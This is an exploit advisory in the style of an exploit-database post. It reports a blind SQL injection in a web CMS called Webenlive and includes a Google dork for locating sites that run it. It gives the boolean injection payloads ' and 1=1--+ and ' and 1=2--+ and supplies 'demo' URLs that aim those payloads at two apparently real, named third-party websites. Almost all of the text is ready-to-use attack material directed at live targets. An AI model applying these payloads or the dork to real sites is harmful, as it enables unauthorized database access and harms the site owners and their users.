********************************************************* # Exploit Title: Webenlive CMS - Blind SQL Injection Vulnerability # Date: 2025-04-30 # Exploit Author: AmirHossein Abdollahi | Mr_Amir_Typer # Google Dork: "Design Webenlive" # Category: WebApps # Tested On: Windows 10, Firefox, Chrome [+]: Append `' and 1=1--+` and `' and 1=2--+` to the URL and observe the difference in responses. ### Demo 1: * https://idealenglishschool.in/activity-details.php?id=3' and 1=1--+ * https://idealenglishschool.in/activity-details.php?id=3' and 1=2--+ ### Demo 2: * https://berentqatar.com/single-product.php?id=53' and 1=1--+ * https://berentqatar.com/single-product.php?id=53' and 1=2--+ ********************************************************* # Discovered by: AmirHossein Abdollahi | Mr_Amir_Typer